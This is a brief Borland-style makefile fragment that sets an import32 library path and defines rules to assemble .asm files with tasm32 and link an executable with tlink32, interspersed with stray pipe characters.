!if $d(MAKEDIR)
|
|||
|
|
IMPORT=$(MAKEDIR)\..\lib\import32
|
|||
|
|
!else
|
|||
|
|
IMPORT=import32
|
|||
|
|
!endif
|
|||
|
|
|
|||
|
|
|
|||
|
|
$(NAME).EXE: $(OBJS) $(DEF)
|
|||
|
|
tlink32 $(TLINKPARAM) $(OBJS),$(NAME),, $(IMPORT)
|
|||
|
|
|
|||
|
|
.asm.obj:
|
|||
|
|
tasm32 $(TASMPARAM) $(ASMS)
|